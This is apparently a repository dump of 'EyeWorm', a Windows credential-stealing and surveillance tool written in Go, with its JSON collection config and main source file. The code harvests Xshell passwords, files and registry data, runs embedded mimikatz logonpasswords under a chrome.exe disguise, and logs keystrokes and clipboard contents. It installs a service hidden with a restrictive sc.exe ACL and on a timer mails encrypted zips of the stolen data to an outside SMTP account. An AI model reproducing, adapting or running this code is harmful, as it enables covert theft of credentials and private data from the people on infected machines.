├── EyeConfig.json
├── EyeWorm.go
├── EyeWorm.jpg
├── Eyeworm.exe
├── MimiCode.json
├── PackSource
├── EyeConfig.json
├── MimiCode.json
├── PackSource.go
├── go.mod
├── go.sum
├── main.ico
├── main.manifest
└── versioninfo.json
├── README-English.md
├── README.md
├── UpdateSource.exe
├── UpdateSource
├── UpdateSource.exe
├── WinApi.go
├── go.mod
├── go.sum
└── main.go
├── Winapi.go
├── go.mod
├── go.sum
├── img1.png
├── img2.png
├── keylog.go
└── resource.syso
/EyeConfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "CollectConfigTable" : {
3 | "Collectors":[
4 | {
5 | "RuleName":"DefultFilesWorm",
6 | "OS": "Windows",
7 | "CollectorType": "File",
8 | "Category": "defult",
9 | "Locations":[ "C:/Users/V/Desktop/vvvsss/sss"],
10 | "ContentKeys": ["\"_id\":"],
11 | "FileName":["*"],
12 | "SuffixTypes":[".txt"],
13 | "Explain": "文件及文件夹收集,支持 * 通配符 ",
14 | "Commands":null,
15 | "ProcessName": null,
16 | "DeCrypt": false,
17 | "DeCryptCommand": null
18 | },
19 | {
20 | "RuleName":"XshellFileWorm",
21 | "OS":"Windows",
22 | "CollectorType": "File",
23 | "Category": "Remote control",
24 | "Locations":[ "C:/Users/V/Desktop/xshellstargt"],
25 | "ContentKeys": ["Password=","host="],
26 | "FileName":["*"],
27 | "SuffixTypes":[".xsh"],
28 | "Explain": "Xshell 的定制化 文件夹收集",
29 | "Commands":null,
30 | "ProcessName": null,
31 | "DeCrypt": false,
32 | "DeCryptCommand": null
33 | },
34 | {
35 | "RuleName":"RecentWorm",
36 | "OS":"Windows",
37 | "CollectorType": "Recent",
38 | "Category": "defult",
39 | "Locations": null,
40 | "ContentKeys": [],
41 | "FileName":["*"],
42 | "SuffixTypes":[""],
43 | "Explain": "最近访问检索,仅配置contentkeys 、FileName、SuffixTypes即可使用 ,recent的内容扫描因为内容很多,所以扫描速度非常慢,建议先扫描出文件夹名称,再进行filesworm",
44 | "Commands":null,
45 | "ProcessName": null,
46 | "DeCrypt": false,
47 | "DeCryptCommand": null
48 | },
49 | {
50 | "RuleName":"MyRecent",
51 | "OS":"Windows",
52 | "CollectorType": "Recent",
53 | "Category": "密码收集",
54 | "Locations": null,
55 | "ContentKeys": [],
56 | "FileName":["密码"],
57 | "SuffixTypes":[".txt",".xsh","doc","jpg"],
58 | "Explain": "自定义最近访问密码收集",
59 | "Commands":null,
60 | "ProcessName": null,
61 | "DeCrypt": false,
62 | "DeCryptCommand": null
63 | },
64 | {
65 | "RuleName":"CommandWorm",
66 | "OS":"Windows",
67 | "CollectorType": "Command",
68 | "Category": "defult",
69 | "Locations":null,
70 | "ContentKeys":[],
71 | "FileName":null,
72 | "SuffixTypes":null,
73 | "Explain": "根据输入的cmd命令收集输出信息...",
74 | "Commands":["ipconfig","dir"],
75 | "ProcessName": null,
76 | "DeCrypt": false,
77 | "DeCryptCommand": null
78 | },
79 | {
80 | "RuleName":"CommandWorm2",
81 | "OS":"Windows",
82 | "CollectorType": "Command",
83 | "Category": "Env",
84 | "Locations":null,
85 | "ContentKeys":[],
86 | "FileName":null,
87 | "SuffixTypes":null,
88 | "Explain": "定制化command",
89 | "Commands":["set"],
90 | "ProcessName": null,
91 | "DeCrypt": false,
92 | "DeCryptCommand": null
93 | },
94 | {
95 | "RuleName":"ProcessWorm",
96 | "OS":"Windows",
97 | "CollectorType": "Process",
98 | "Category": "defult",
99 | "Locations": null,
100 | "ContentKeys": ["\"_id\":"],
101 | "FileName": ["test"],
102 | "SuffixTypes": [".txt",".dit","xshs",".edg"],
103 | "Explain": "根据Process名称收集该进程目录下的相关信息",
104 | "Commands": null,
105 | "ProcessName": ["QQ.exe","padd.exe"],
106 | "DeCrypt": false,
107 | "DeCryptCommand": null
108 | },
109 | {
110 | "RuleName":"ChromeProcessWorm",
111 | "OS":"Windows",
112 | "CollectorType": "Process",
113 | "Category": "Browser",
114 | "Locations": null,
115 | "ContentKeys": ["\"_id\":"],
116 | "FileName": ["test"],
117 | "SuffixTypes": [".txt",".dit","xshs",".edg"],
118 | "Explain": "针对Chrome定制化的Process扫描",
119 | "Commands": null,
120 | "ProcessName": ["chrome.exe"],
121 |
122 | "DeCrypt": false,
123 | "DeCryptCommand": null
124 | },
125 | {
126 | "RuleName":"RegistryWorm",
127 | "OS":"Windows",
128 | "CollectorType": "Registry",
129 | "Category": "defult",
130 | "Locations": ["HKEY_CURRENT_USER\\Environment","HKEY_CURRENT_USER\\EUDC"],
131 | "ContentKeys": null,
132 | "FileName": ["*"],
133 | "SuffixTypes": null,
134 | "Explain": "根据注册表信息搜寻项或值 locations:注册表的搜索范围,FileName:根据项名称搜索",
135 | "Commands": null,
136 | "ProcessName": null,
137 | "DeCrypt": false,
138 | "DeCryptCommand": null
139 | },
140 |
141 | {
142 | "RuleName":"APiWorm",
143 | "OS":"Windows",
144 | "CollectorType": "APi",
145 | "Category": "defult",
146 | "Locations": null,
147 | "ContentKeys": null,
148 | "FileName":null,
149 | "SuffixTypes":null,
150 | "Explain": "Window 凭据收集,mimikatz Commands输入mimikatz命令开始收集信息,ProcessName可配置mimikatz伪装名",
151 | "Commands":["version","log","privilege::debug","sekurlsa::logonpasswords"],
152 | "ProcessName": ["chrome.exe"],
153 | "DeCrypt": false,
154 | "DeCryptCommand": null
155 | }
156 | ]
157 | },
158 | "ServiceExplain": "服务配置注释: Service*为注册服务的基础信息,EyeWorm已经集成了服务隐藏功能,但还是提供基础配置项来过特征免杀",
159 | "ServiceName": "GOService",
160 | "ServiceDisplayName": "GoServiceDis",
161 | "ServiceDescription": "this is GoService",
162 | "NormalExplain1": "通用注释1: TimeOut回传时间;TimeU回传时间单位;TimeShake 回传抖动时间(单位:秒);SaveFileloc 常驻收集文件保存位置 ",
163 | "Timeout": 60,
164 | "TimeU": "min",
165 | "TimeShake":3600,
166 | "SaveFileloc": "360temp.tmp",
167 | "NormalExplain2": "通用注释2: KeylogSaveloc 键盘记录保存位置;Mail_* 邮件回传配置项; ZipPwd 回传Zip打包密码,",
168 | "KeylogSaveloc": "C:\\Users\\V\\AppData\\Local\\Packages\\Microsoft.Messaging\\QQBrower.tmp",
169 | "Mail_Host": "smtp.qq.com",
170 | "Mail_Port": 25,
171 | "Mail_Sender": "WWW@qq.com",
172 | "Mail_Pwd": "asdfshgfdhbdsdgfsfdg (此处为密码或授权码 不同mail协议不同)",
173 | "Mail_To": ["WWW@qq.com"],
174 | "ZipPwd": "99999999999999999999999",
175 | "NormalExplain3": "通用注释3: PackTargetFile 是否开启目标文件打包,开启此功能将copy一份所以已收集到的目标文件,用于上传 和 邮件回传 ",
176 | "PackTargetFile": false
177 | }
178 |
179 |
180 |
181 |
--------------------------------------------------------------------------------
/EyeWorm.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "archive/zip"
5 | "bytes"
6 | _ "embed"
7 | "encoding/json"
8 | "errors"
9 | "flag"
10 | "fmt"
11 | "io"
12 | "io/ioutil"
13 | "math/rand"
14 | "os"
15 | "os/exec"
16 | "path"
17 | "path/filepath"
18 | "strconv"
19 | "strings"
20 | "time"
21 |
22 | ezip "github.com/alexmullins/zip"
23 | "github.com/kardianos/service"
24 | lnk "github.com/parsiya/golnk"
25 | "github.com/shirou/gopsutil/process"
26 | "golang.org/x/net/html/charset"
27 | "golang.org/x/sys/windows/registry"
28 | "golang.org/x/text/encoding/simplifiedchinese"
29 | "golang.org/x/text/transform"
30 | "gopkg.in/gomail.v2"
31 | )
32 |
33 | type Config struct {
34 | CConfig CollectConfig `json:"CollectConfigTable"`
35 | Timeout int `json:"Timeout"`
36 | TimeU string `json:"TimeU"`
37 | TimeShake int `json:"TimeShake"`
38 | ServiceName string `json:"ServiceName"`
39 | ServiceDisplayName string `json:"ServiceDisplayName"`
40 | ServiceDescription string `json:"ServiceDescription"`
41 | SpySaveName string `json:"SaveFileloc"`
42 | KeylogSaveloc string `json:"KeylogSaveloc"`
43 | MailHost string `json:"Mail_Host"`
44 | MailPort int `json:"Mail_Port"`
45 | MailSender string `json:"Mail_Sender"`
46 | MailPwd string `json:"Mail_Pwd"`
47 | MailTo []string `json:"Mail_To"`
48 | ZipPwd string `json:"ZipPwd"`
49 | PackTargetFile bool `json:"PackTargetFile"`
50 | }
51 |
52 | type program struct{}
53 |
54 | type CollectConfig struct {
55 | Collectors []Collector `json:"Collectors"`
56 | }
57 |
58 | type Collector struct {
59 | ShortName string `json:"RuleName"`
60 | OS string `json:"OS"`
61 | Category string `json:"Category"`
62 | CollectorType string `json:"CollectorType"`
63 | Locations []string `json:"Locations"`
64 | ContentKeys []string `json:"ContentKeys"`
65 | NameKeys []string `json:"FileName"`
66 | SuffixTypes []string `json:"SuffixTypes"`
67 | Explain string `json:"Explain"`
68 | Commands []string `json:"Commands"`
69 | ProcessName []string `json:"ProcessName"`
70 | ReValueNames []string `json:"RE_ValueNames"`
71 | ReValueDatas []string `json:"RE_ValueDatas"`
72 | FliesScanTargets []string
73 | ContentScanTagerts []string
74 | ContentTargetsPath []string
75 | TRKNPathResults []string
76 | CommandResults []string
77 | targetProcessPaths []string
78 | TRVNResults []string
79 | TRVDResults []string
80 | }
81 |
82 | type FlagStruct struct {
83 | Help bool
84 | FilesWorm bool
85 | CommandWorm bool
86 | ProcessWorm bool
87 | RegistryWorm bool
88 | RecentWorm bool
89 | ApiWorm bool
90 | RedEye bool
91 | Spy bool
92 | UnRedEye bool
93 | Upload bool
94 | O string
95 | Keylog bool
96 | Masterkey bool
97 | All bool
98 | }
99 |
100 | type MimikatzCode struct {
101 | Name string `json:"Name"`
102 | Code []byte `json:"Code"`
103 | }
104 |
105 | var (
106 | //go:embed MimiCode.json
107 | MimiCodeByteValue []byte
108 | MimiCode = MimikatzCode{}
109 | config = Config{}
110 | flagStruct = FlagStruct{}
111 | filesCollectors []*Collector
112 | commandCollectors []*Collector
113 | processCollectors []*Collector
114 | registryCollectors []*Collector
115 | recentCollectors []*Collector
116 | apiCollertor Collector
117 | RcecentTargetLocations []string
118 | TargetProcesses []string
119 | RedCommands []string
120 | SpyCommands []string
121 | ApiResult string
122 | MasterkeyResult string
123 | OSaveData string
124 | KeylogSavePath string
125 | )
126 | var (
127 | ignoreFile = []string{""}
128 | ignorePath = []string{""}
129 | ignoreType = []string{""}
130 | )
131 |
132 | func ReadConfig() Config {
133 | path, _ := os.Executable()
134 | ByteValue := MyReadSource(path, 16, 55)
135 | var config Config
136 | json.Unmarshal([]byte(ByteValue), &config)
137 | return config
138 |
139 | }
140 |
141 | func ReadMimiCode() MimikatzCode {
142 | byteValue := MimiCodeByteValue
143 | var Code MimikatzCode
144 | json.Unmarshal([]byte(byteValue), &Code)
145 | return Code
146 | }
147 |
148 | func CollectorSuffixinit(coller *Collector) {
149 | if isInArray(&coller.SuffixTypes, "*") || coller.SuffixTypes == nil || len(coller.SuffixTypes) == 0 {
150 | coller.SuffixTypes = []string{""}
151 | }
152 | }
153 | func registryCollectorsInit(rgs []*Collector) []*Collector {
154 | var registryCollectors []*Collector
155 | for _, registryCollector := range rgs {
156 | registryCollector.ReValueNames = append(registryCollector.ReValueNames, "*")
157 | registryCollectors = append(registryCollectors, registryCollector)
158 | }
159 | return registryCollectors
160 | }
161 | func init() {
162 | config = ReadConfig()
163 | MimiCode = ReadMimiCode()
164 | filesCollectors = config.CConfig.FindByType("File")
165 | commandCollectors = config.CConfig.FindByType("Command")
166 | processCollectors = config.CConfig.FindByType("Process")
167 | registryCollectors = config.CConfig.FindByType("Registry")
168 | recentCollectors = config.CConfig.FindByType("Recent")
169 | apiCollertor = config.CConfig.FindByShortName("APiWorm")
170 | registryCollectors = registryCollectorsInit(registryCollectors)
171 | KeylogSavePath = config.KeylogSaveloc
172 | for _, filesCollector := range filesCollectors {
173 | CollectorSuffixinit(filesCollector)
174 | }
175 | for _, processCollector := range processCollectors {
176 | CollectorSuffixinit(processCollector)
177 | }
178 |
179 | flag.BoolVar(&flagStruct.Help, "help", false, "查看EyeWorm的使用方法")
180 | flag.BoolVar(&flagStruct.FilesWorm, "wfiles", false, "文件及文件夹收集,支持 * ? 通配符(例如:a*,a?b,*),定制化收集组")
181 | flag.BoolVar(&flagStruct.CommandWorm, "wcommands", false, "根据输入的cmd命令收集输出信息...")
182 | flag.BoolVar(&flagStruct.ProcessWorm, "wprocess", false, "根据Process名称收集该进程目录下的相关信息")
183 | flag.BoolVar(&flagStruct.RegistryWorm, "wregistry", false, "根据注册表信息搜寻项或值 locations:注册表的搜索范围,NameKeys:根据项名称搜索,RE_ValueNames:根据值名称搜索,RE_ValueDatas:根据值数据搜索")
184 | flag.BoolVar(&flagStruct.RecentWorm, "wrecent", false, "最近访问检索,仅配置contentkeys 、namekeys、SuffixTypes即可使用 ,recent的内容扫描因为内容很多,所以扫描速度非常慢,建议先扫描出文件夹名称,再进行filesworm")
185 | flag.BoolVar(&flagStruct.ApiWorm, "wmimikatz", false, apiCollertor.Explain)
186 | flag.BoolVar(&flagStruct.RedEye, "redeye", false, "开机自启服务,自动spy常驻,需要配置常驻项的Mail信息和timeout(second 秒,min 分钟,hour 小时)")
187 | flag.BoolVar(&flagStruct.Upload, "upload", false, "把收集到的内容上传到oss服务器中")
188 | flag.BoolVar(&flagStruct.Spy, "spy", false, "监控当前主机,定时返回数据到oos服务器需要配置常驻项的Mail信息和timeout(second 秒,min 分钟,hour 小时)")
189 | flag.BoolVar(&flagStruct.UnRedEye, "unred", false, "解除隐藏的自启服务")
190 | flag.BoolVar(&flagStruct.Keylog, "keylog", false, "开启键盘记录,利用该功能收集键盘信息")
191 | flag.BoolVar(&flagStruct.Masterkey, "dpapi", false, "收集MasterKey")
192 | flag.BoolVar(&flagStruct.All, "all", false, "根据配置文件进行全部种类收集")
193 | flag.StringVar(&flagStruct.O, "o", "", "把收集到的内容整合输出成文件")
194 |
195 | flag.Parse()
196 | }
197 |
198 | func main() {
199 | fmt.Println(" ______ __ __ \n | ____| \\ \\ / / \n | |__ _ _ __\\ \\ /\\ / /__ _ __ _ __ ___ \n | __|| | | |/ _ \\ \\/ \\/ / _ \\| '__| '_ ` _ \\\n | |___| |_| | __/\\ /\\ / (_) | | | | | | | |\n |______\\__, |\\___| \\/ \\/ \\___/|_| |_| |_| |_|\n __/ | \n |___/ \n ")
200 | fmt.Println("欢迎使用 眼虫! EyeWorm 我们将为你服务.... 作者:萧枫")
201 | fmt.Println("使用 -help 查看useage")
202 | if flagStruct.Help {
203 | flag.Usage()
204 | }
205 | if flagStruct.All {
206 | flagStruct.CommandWorm = true
207 | flagStruct.FilesWorm = true
208 | flagStruct.ProcessWorm = true
209 | flagStruct.RegistryWorm = true
210 | flagStruct.RecentWorm = true
211 | flagStruct.ApiWorm = true
212 | }
213 | if flagStruct.CommandWorm {
214 | ComW()
215 | }
216 | if flagStruct.FilesWorm {
217 | FileW()
218 | }
219 | if flagStruct.ProcessWorm {
220 | ProW()
221 | }
222 | if flagStruct.RegistryWorm {
223 | RegistryW()
224 | }
225 | if flagStruct.RecentWorm {
226 | RcenW()
227 | }
228 | if flagStruct.ApiWorm {
229 | WormMimikatz(&apiCollertor)
230 | }
231 | if flagStruct.Masterkey {
232 | WormMasterkey()
233 | }
234 | if flagStruct.Spy {
235 | SpyNow()
236 | }
237 |
238 | if flagStruct.O != "" {
239 | SaveFile()
240 | }
241 | if flagStruct.RedEye {
242 | RedEye()
243 | }
244 | if flagStruct.Upload {
245 | UploadData()
246 | }
247 | if flagStruct.UnRedEye {
248 | UnRedEye()
249 | }
250 | if flagStruct.Keylog {
251 | //剪贴板监控
252 | go clipboardLogger()
253 | //应用窗口监控
254 | go WindowLogger()
255 | //键盘监控
256 | Keylogger()
257 | }
258 | }
259 | func ComW() {
260 | for _, commandCollector := range commandCollectors {
261 | fmt.Println("\n\n\n####################################" + commandCollector.ShortName + "扫描结果如下##########################################")
262 | WormCommand(commandCollector)
263 | }
264 |
265 | }
266 | func RcenW() {
267 | for _, recentCollector := range recentCollectors {
268 | WormRecent(recentCollector)
269 | }
270 | }
271 |
272 | func RegistryW() {
273 | for _, registryCollector := range registryCollectors {
274 | fmt.Println("\n\n\n####################################" + registryCollector.ShortName + "扫描结果如下##########################################")
275 |
276 | WormRegistry(registryCollector)
277 | }
278 | }
279 | func ProW() {
280 | for _, processCollector := range processCollectors {
281 | fmt.Println("\n\n\n####################################" + processCollector.ShortName + "扫描结果如下##########################################")
282 | WormProcesses(TargetProcesses, processCollector)
283 | }
284 | }
285 | func FileW() {
286 | flag := false
287 | for _, filesCollector := range filesCollectors {
288 | if filesCollector.Locations == nil {
289 | flag = true
290 | }
291 | }
292 | if flag {
293 | fmt.Println("你有Type为File的收集策略地址未配置")
294 | return
295 | }
296 | for _, filesCollector := range filesCollectors {
297 | fmt.Println("\n\n\n####################################" + filesCollector.ShortName + "扫描结果如下##########################################")
298 | WormFiles(filesCollector.Locations, filesCollector)
299 | }
300 |
301 | }
302 | func UnRedEye() {
303 | svcConfig := &service.Config{
304 | Name: config.ServiceName,
305 | DisplayName: config.ServiceDisplayName,
306 | Description: config.ServiceDescription,
307 | }
308 | UnHideService(svcConfig)
309 | prg := &program{}
310 | s, err := service.New(prg, svcConfig)
311 | if err != nil {
312 | fmt.Errorf(err.Error())
313 | }
314 | err1 := s.Uninstall()
315 | if err1 != nil {
316 | fmt.Errorf(err1.Error())
317 | return
318 | }
319 | fmt.Println("服务解除隐藏,卸载成功!")
320 | }
321 | func SpyNow() {
322 |
323 | //先執行一次
324 | DoSpy()
325 | upload()
326 | tU, err := GetTimeU()
327 | if err != nil {
328 | fmt.Errorf(err.Error())
329 | return
330 | }
331 | t := time.NewTicker(tU*time.Duration(config.Timeout) + (time.Second * time.Duration(random(config.TimeShake))))
332 |
333 | defer t.Stop()
334 | for {
335 | <-t.C
336 | t = time.NewTicker(tU*time.Duration(config.Timeout) + (time.Second * time.Duration(random(config.TimeShake))))
337 | DoSpy()
338 | upload()
339 |
340 | }
341 | }
342 |
343 | func random(Max int) int {
344 | rand.Seed(time.Now().UnixNano())
345 | return rand.Intn(100)
346 | }
347 |
348 | //获取程序全路径
349 | func GetRunPath() string {
350 | file, _ := exec.LookPath(os.Args[0])
351 | path, _ := filepath.Abs(file)
352 | index := strings.LastIndex(path, string(os.PathSeparator))
353 | ret := path[:index]
354 | return ret + "\\" + fmt.Sprint(os.Args[0])
355 | }
356 |
357 | func DoSpy() {
358 | GetSpyCommand()
359 | datapath := GetRunPath()
360 | cmd := exec.Command(datapath, SpyCommands...)
361 | err := cmd.Run()
362 | if err != nil {
363 | fmt.Errorf(err.Error())
364 | return
365 | }
366 | fmt.Println("执行成功!保存位置:" + config.SpySaveName)
367 | }
368 |
369 | func SendGoMail(mailAddress []string, subject string, body string, zip string) error {
370 | m := gomail.NewMessage()
371 | // 这种方式可以添加别名,即 nickname, 也可以直接用m.SetHeader("From", MAIL_USER)
372 | nickname := "gomail"
373 | m.SetHeader("From", nickname+"<"+config.MailSender+">")
374 | // 发送给多个用户
375 | m.SetHeader("To", mailAddress...)
376 | // 设置邮件主题
377 | m.SetHeader("Subject", subject)
378 | m.Attach(zip)
379 | // 设置邮件正文
380 | m.SetBody("text/html", body)
381 | d := gomail.NewDialer(config.MailHost, config.MailPort, config.MailSender, config.MailPwd)
382 | // 发送邮件
383 | err := d.DialAndSend(m)
384 | return err
385 | }
386 |
387 | // EncryptZip 加密压缩文件
388 | func EncryptZip(src, desc, password string) error {
389 | zipfile, err := os.Create(desc)
390 | if err != nil {
391 | return err
392 | }
393 | defer zipfile.Close()
394 |
395 | archive := ezip.NewWriter(zipfile)
396 | defer archive.Close()
397 |
398 | filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
399 | if err != nil {
400 | return err
401 | }
402 | header, err := ezip.FileInfoHeader(info)
403 | if err != nil {
404 | return err
405 | }
406 | header.Name = strings.TrimPrefix(path, filepath.Dir(src)+"/")
407 | if info.IsDir() {
408 | header.Name += "/"
409 | } else {
410 | header.Method = zip.Deflate
411 | }
412 | // 设置密码
413 | header.SetPassword(password)
414 | writer, err := archive.CreateHeader(header)
415 | if err != nil {
416 | return err
417 | }
418 | if !info.IsDir() {
419 | file, err := os.Open(path)
420 | if err != nil {
421 | return err
422 | }
423 | defer file.Close()
424 | _, err = io.Copy(writer, file)
425 | }
426 | return err
427 | })
428 | return err
429 | }
430 | func UploadData() {
431 | SaveData()
432 | mailsubject := os.Getenv("USERDOMAIN_ROAMINGPROFILE") + "UserName:" + os.Getenv("USERNAME") + "Remote Result"
433 | folder := "Result"
434 | zip := "Result.zip"
435 | PackFolder(folder)
436 | EncryptZip(folder, zip, config.ZipPwd)
437 | SendGoMail(config.MailTo, mailsubject, "this My EyeWorm", zip)
438 | os.Remove(zip)
439 | os.RemoveAll(folder)
440 | }
441 |
442 | func SaveData() string {
443 | str := SaveStr()
444 | location := config.SpySaveName
445 | os.WriteFile(location, []byte(str), 0600)
446 | return location
447 | }
448 |
449 | func GetTimeU() (time.Duration, error) {
450 |
451 | if config.TimeU == "second" {
452 | return time.Second, nil
453 | }
454 | if config.TimeU == "min" {
455 | return time.Minute, nil
456 | }
457 | if config.TimeU == "hour" {
458 | return time.Hour, nil
459 | }
460 | fmt.Println("config.TimeU:" + config.TimeU)
461 | return 0, errors.New("time类型错误!请修改timeU")
462 | }
463 | func upload() {
464 | mailsubject := os.Getenv("USERDOMAIN_ROAMINGPROFILE") + "UserName:" + os.Getenv("USERNAME") + "Remote Result"
465 | folder := "Result"
466 | zip := "Result.zip"
467 | PackFolder(folder)
468 | EncryptZip(folder, zip, config.ZipPwd)
469 | SendGoMail(config.MailTo, mailsubject, "this My EyeWorm", zip)
470 | os.Remove(zip)
471 | os.RemoveAll(folder)
472 | }
473 | func PackFolder(folder string) {
474 | os.MkdirAll(folder, os.ModePerm)
475 | MyCopy(config.SpySaveName, folder+"/result.txt")
476 | if flagStruct.Keylog {
477 | MyCopy(KeylogSavePath, folder+"/keylog.txt")
478 | }
479 | if config.PackTargetFile {
480 | PackUpTarget(folder)
481 | }
482 | }
483 |
484 | func PackUpTarget(folder string) {
485 | if flagStruct.FilesWorm {
486 | for _, filesCollector := range filesCollectors {
487 | for _, file := range filesCollector.FliesScanTargets {
488 | fname := filepath.Base(file)
489 | MyCopy(file, folder+"/"+fname)
490 | }
491 | }
492 | }
493 | if flagStruct.ProcessWorm {
494 | for _, processCollector := range processCollectors {
495 | for _, file := range processCollector.FliesScanTargets {
496 | fname := filepath.Base(file)
497 | MyCopy(file, folder+"/"+fname)
498 | }
499 | }
500 |
501 | }
502 | if flagStruct.RecentWorm {
503 | for _, recentCollertor := range recentCollectors {
504 | for _, file := range recentCollertor.FliesScanTargets {
505 | fname := filepath.Base(file)
506 | MyCopy(file, folder+"/"+fname)
507 | }
508 | }
509 |
510 | }
511 |
512 | }
513 |
514 | func MyCopy(str string, dst string) {
515 | input, err := ioutil.ReadFile(str)
516 | if err != nil {
517 | fmt.Println(err)
518 | return
519 | }
520 |
521 | err = ioutil.WriteFile(dst, input, 0644)
522 | if err != nil {
523 | fmt.Println("Error creating", dst)
524 | fmt.Println(err)
525 | return
526 | }
527 | }
528 |
529 | func handleError(err error) {
530 | fmt.Println("Error:", err)
531 | os.Exit(-1)
532 | }
533 |
534 | func SaveFile() {
535 | str := SaveStr()
536 | os.WriteFile(flagStruct.O, []byte(str), 0600)
537 |
538 | }
539 | func SaveStr() string {
540 | var result string
541 | if flagStruct.FilesWorm {
542 | for _, filesCollector := range filesCollectors {
543 | fmt.Println("-------------------------------------------------------------测试------------------------------------------------------------------------")
544 | result += fmt.Sprintln("==== " + filesCollector.ShortName + " 文件扫描结果如下:====")
545 | str1 := FmtGet(filesCollector.FliesScanTargets)
546 | result += str1
547 | result += fmt.Sprintln("==== " + filesCollector.ShortName + "内容扫描结果如下:====")
548 | str2 := FmtGet(filesCollector.ContentScanTagerts)
549 | result += str2
550 | }
551 | }
552 | if flagStruct.CommandWorm {
553 | result += fmt.Sprintln("====CommandWorm 扫描结果如下:====")
554 | for _, commandCollector := range commandCollectors {
555 | result += fmt.Sprintln("==== " + commandCollector.ShortName + " 扫描结果如下:====")
556 | str1 := GetCommandResults(commandCollector.CommandResults)
557 | result += str1
558 | }
559 |
560 | }
561 | if flagStruct.ProcessWorm {
562 | for _, processCollector := range processCollectors {
563 | result += fmt.Sprintln("====ProcessWorm 文件扫描结果如下:====")
564 | str1 := FmtGet(processCollector.FliesScanTargets)
565 | result += str1
566 | result += fmt.Sprintln("====ProcessWorm 内容扫描结果如下:====")
567 | str2 := FmtGet(processCollector.ContentScanTagerts)
568 | result += str2
569 | }
570 |
571 | }
572 |
573 | if flagStruct.RegistryWorm {
574 | for _, registryCollector := range registryCollectors {
575 |
576 | result += fmt.Sprintln("==========RegistryWorm 项名称匹配结果=========")
577 | str1 := FmtGet(registryCollector.TRKNPathResults)
578 | result += str1
579 |
580 | if registryCollector.ReValueNames != nil || len(registryCollector.ReValueNames) != 0 {
581 | result += fmt.Sprintln("============RegistryWorm 值名称匹配结果================")
582 | str1 := FmtGet(registryCollector.TRVNResults)
583 | result += str1
584 | }
585 |
586 | if registryCollector.ReValueDatas != nil || len(registryCollector.ReValueDatas) != 0 {
587 | result += fmt.Sprintln("============RegistryWorm 值关联数据匹配结果============")
588 | str1 := FmtGet(registryCollector.TRVDResults)
589 | result += str1
590 | }
591 | }
592 |
593 | }
594 |
595 | if flagStruct.RecentWorm {
596 | for _, recentCollertor := range recentCollectors {
597 | result += fmt.Sprintln("====RecentWorm 文件扫描结果如下:====")
598 | str1 := FmtGet(recentCollertor.FliesScanTargets)
599 | result += str1
600 | result += fmt.Sprintln("====RecentWorm 内容扫描结果如下:====")
601 | str2 := FmtGet(recentCollertor.ContentScanTagerts)
602 | result += str2
603 | }
604 |
605 | }
606 |
607 | if flagStruct.ApiWorm {
608 | result += fmt.Sprintln("====ApiWorm 扫描结果如下:====")
609 | result += fmt.Sprintln(ApiResult)
610 |
611 | }
612 | if flagStruct.Masterkey {
613 | result += fmt.Sprintln("====Masterkey 结果如下:====")
614 | result += fmt.Sprintln(MasterkeyResult)
615 | }
616 | return result
617 | }
618 | func RedEye() {
619 |
620 | GetRedCommands()
621 |
622 | svcConfig := &service.Config{
623 | Name: config.ServiceName,
624 | DisplayName: config.ServiceDisplayName,
625 | Description: config.ServiceDescription,
626 | }
627 | prg := &program{}
628 | s, err := service.New(prg, svcConfig)
629 | if err != nil {
630 | fmt.Errorf(err.Error())
631 | }
632 | err1 := s.Install()
633 | if err1 != nil {
634 | fmt.Errorf(err1.Error())
635 | return
636 | }
637 | fmt.Println("服务安装成功,并且隐藏!")
638 | HideService(svcConfig)
639 |
640 | if err = s.Run(); err != nil {
641 | fmt.Errorf(err.Error())
642 | }
643 | SpyNow()
644 | }
645 | func GetSpyCommand() {
646 | if flagStruct.All {
647 | SpyCommands = append(SpyCommands, "-all")
648 | } else {
649 | if flagStruct.FilesWorm {
650 | SpyCommands = append(SpyCommands, "-wfiles")
651 | }
652 | if flagStruct.CommandWorm {
653 | SpyCommands = append(SpyCommands, "-wcommands")
654 | }
655 | if flagStruct.ProcessWorm {
656 | SpyCommands = append(SpyCommands, "-wprocess")
657 | }
658 | if flagStruct.RegistryWorm {
659 | SpyCommands = append(SpyCommands, "-wregistry")
660 | }
661 | if flagStruct.RecentWorm {
662 | SpyCommands = append(SpyCommands, "-wrecent")
663 | }
664 | if flagStruct.ApiWorm {
665 | SpyCommands = append(SpyCommands, "-wmimikatz")
666 | }
667 | }
668 | if flagStruct.Masterkey {
669 | SpyCommands = append(SpyCommands, "-dpapi")
670 | }
671 |
672 | SpyCommands = append(SpyCommands, "-o="+config.SpySaveName)
673 | }
674 |
675 | func GetRedCommands() {
676 | if flagStruct.All {
677 | RedCommands = append(RedCommands, "-all")
678 | } else {
679 | if flagStruct.FilesWorm {
680 | RedCommands = append(RedCommands, "-wfiles")
681 | }
682 | if flagStruct.CommandWorm {
683 | RedCommands = append(RedCommands, "-wcommands")
684 | }
685 | if flagStruct.ProcessWorm {
686 | RedCommands = append(RedCommands, "-wprocess")
687 | }
688 | if flagStruct.RegistryWorm {
689 | RedCommands = append(RedCommands, "-wregistry")
690 | }
691 | if flagStruct.RecentWorm {
692 | RedCommands = append(RedCommands, "-wrecent")
693 | }
694 | if flagStruct.ApiWorm {
695 | RedCommands = append(RedCommands, "-wmimikatz")
696 | }
697 | }
698 | if flagStruct.Masterkey {
699 | RedCommands = append(RedCommands, "-dpapi")
700 | }
701 | if flagStruct.Keylog {
702 | RedCommands = append(RedCommands, "-keylog")
703 | }
704 | RedCommands = append(RedCommands, "-spy")
705 | }
706 |
707 | //服務執行
708 | func (p *program) Start(s service.Service) error {
709 | go p.run()
710 | return nil
711 | }
712 |
713 | //具体实现
714 | func (p *program) run() {
715 |
716 | datapath := GetRunPath()
717 | cmd := exec.Command(datapath, RedCommands...)
718 | cmd.Run()
719 | }
720 |
721 | //停止
722 | func (p *program) Stop(s service.Service) error {
723 | return nil
724 | }
725 |
726 | func HideService(config *service.Config) {
727 | cmd := exec.Command("sc.exe", "sdset", config.Name, "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
728 | err := cmd.Run()
729 | if err != nil {
730 | fmt.Errorf(err.Error())
731 | }
732 | }
